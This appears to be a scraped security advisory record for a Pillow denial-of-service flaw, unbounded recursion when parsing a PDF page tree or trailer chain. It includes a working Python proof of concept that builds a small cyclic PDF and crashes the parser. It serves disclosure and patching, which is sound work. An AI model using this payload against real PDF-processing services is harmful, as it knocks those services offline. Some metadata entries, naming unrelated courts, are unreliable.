---
schema_version: '1.0'
id: security-20261021-f6d7f6
title: 'CVE-2026-112895: Pillow: Unbounded recursion parsing a PDF page tree or trailer
  chain (incomplete fix for CVE-2026-42310)'
url: https://osv.dev/vulnerability/GHSA-p4wg-p73j-c528
url_hash: f6d7f6674dfcb6fe8c0f0736249b967dcf643e00cd18ac0c8ce68f332c942feb
canonical_url: https://osv.dev/vulnerability/GHSA-p4wg-p73j-c528
source: osv:ghsa
category: security/library
category_raw: cve/library
region: null
tags:
- cve
- CVE-2026-112895
- GHSA-p4wg-p73j-c528
- severity:CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
- pillow
- PyPI
lang: en
published_at: '2026-10-20T20:50:49Z'
fetched_at: '2026-10-21T11:45:29.925340Z'
updated_at: '2026-10-21T12:31:24Z'
status: published
content_hash: 1b615bf987d31902bd7503334234dfa7fbec6d03b3335ecafa1e38f755a5eabf
content_changed_at: null
license_note: full
summary: 'Pillow: Unbounded recursion parsing a PDF page tree or trailer chain (incomplete
  fix for CVE-2026-42310)'
summary_source: rss
summary_en: 'Pillow: Unbounded recursion parsing a PDF page tree or trailer chain
  (incomplete fix for CVE-2026-42310)'
summary_omitted_reason: null
redistribution: true
keywords_en:
- chain
- cve
- CVE-2026-112895
- CVE-2026-42310
- fix
- for
- GHSA-p4wg-p73j-c528
- incomplete
- library vulnerability
- page
- parsing
- PDF
- pillow
- PyPI
- recursion
- severity:CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
- Shay McVeigh
- software security
- trailer
- tree
- Unbounded
entities_en:
- name: Shay McVeigh
  type: person
topics_en:
- library vulnerability
- software security
numeric_facts: []
entities:
- name: Shay McVeigh
  type: person
key_facts: []
related: []
related_auto:
- name: Crown Prosecution Service
  type: UNKNOWN
  weight: 1.0
- name: Bristol Magistrates Court
  type: organization
  weight: 1.0
- name: Bristol Crown Court
  type: organization
  weight: 1.0
computed_at: '2026-10-21T12:31:19Z'
---

# CVE-2026-112895: Pillow: Unbounded recursion parsing a PDF page tree or trailer chain (incomplete fix for CVE-2026-42310)

## TL;DR
Pillow: Unbounded recursion parsing a PDF page tree or trailer chain (incomplete fix for CVE-2026-42310)

## Key Points
- cve / CVE-2026-112895 / GHSA-p4wg-p73j-c528 / severity:CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N / pillow / PyPI

## Details
**Severity:** CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
**Advisory:** GHSA-p4wg-p73j-c528 (CVE-2026-112895)

**Details:**
### Summary
When an application appends to an existing PDF with `Image.save(..., format="PDF", append=True)`, Pillow parses that file with `PdfParser`. Two recursive parsers have no effective bound. `linearize_page_tree` follows `/Kids` with no visited set or depth limit, so a cyclic or duplicated page tree recurses without end. `read_prev_trailer` rejects only an exactly repeated `/Prev` offset, so a long chain of unique offsets still recurses. The trailer-loop guard added for CVE-2026-42310 does not cover either case.

### Details
`linearize_page_tree` recurses on `/Kids` with no cycle or depth check:

- `src/PIL/PdfParser.py:1078-1092`

`read_prev_trailer` catches only a repeated offset:

- `src/PIL/PdfParser.py:697-720` (the `processed_offsets` check at `:714-718` is the CVE-2026-42310 fix; a unique-offset chain slips past it)

### PoC
```python
from PIL import PdfParser

# A page tree whose /Pages nodes reference each other in a cycle (2 -> 3 -> 2).
objs = {
    1: b"<< /Type /Catalog /Pages 2 0 R >>",
    2: b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>",
    3: b"<< /Type /Pages /Kids [2 0 R] /Count 1 >>",
}
buf = bytearray(b"%PDF-1.4\n")
off = {}
for oid in (1, 2, 3):
    off[oid] = len(buf)
    buf += b"%d 0 obj\n" % oid + objs[oid] + b"\nendobj\n"
xref = len(buf)
buf += b"xref\n0 4\n0000000000 65535 f \n"
buf += b"".join(b"%010d 00000 n \n" % off[o] for o in (1, 2, 3))
buf += b"trailer\n<< /Root 1 0 R /Size 4 >>\nstartxref\n%d\n%%%%EOF\n" % xref
open("poc.pdf", "wb").write(buf)

PdfParser.PdfParser("poc.pdf", mode="r+b")   # append=True parses the existing file the same way
```

Run it:
```
$ python 11_poc.py
RecursionError: maximum recursion depth exceeded
```

The 315-byte file triggers the recursion on parse. A duplicated (non-cyclic) `/Kids` tree instead produces super-linear CPU and memory work, and a long unique-offset `/Prev` chain triggers the trailer-side recursion.

### Impact
A service that appends to user-supplied PDFs, for example a stamping or watermarking pipeline, can be driven into uncaught recursion or heavy CPU and memory use before any image is written. Follow-up to CVE-2026-42310. Since Pillow's policy discourages filing plain Python exceptions as denial of service, lead with the cyclic-tree case, which burns CPU and memory rather than only raising `RecursionError`. The fix is a visited set plus a depth limit in both parsers.

**References:**
- https://github.com/python-pillow/Pillow/security/advisories/GHSA-p4wg-p73j-c528
- https://nvd.nist.gov/vuln/detail/CVE-2026-112895
- https://github.com/python-pillow/Pillow/commit/e2ae7eacad6de68c37eb28b633a97bebacf2c5bf
- https://github.com/python-pillow/Pillow
- https://github.com/python-pillow/Pillow/releases/tag/13.0.0

_Data: OSV.dev (upstream: ghsa) — https://osv.dev/vulnerability/GHSA-p4wg-p73j-c528_

## Source
元記事: [CVE-2026-112895: Pillow: Unbounded recursion parsing a PDF page tree or trailer chain (incomplete fix for CVE-2026-42310)](https://osv.dev/vulnerability/GHSA-p4wg-p73j-c528) — published 2026-10-20T20:50:49Z
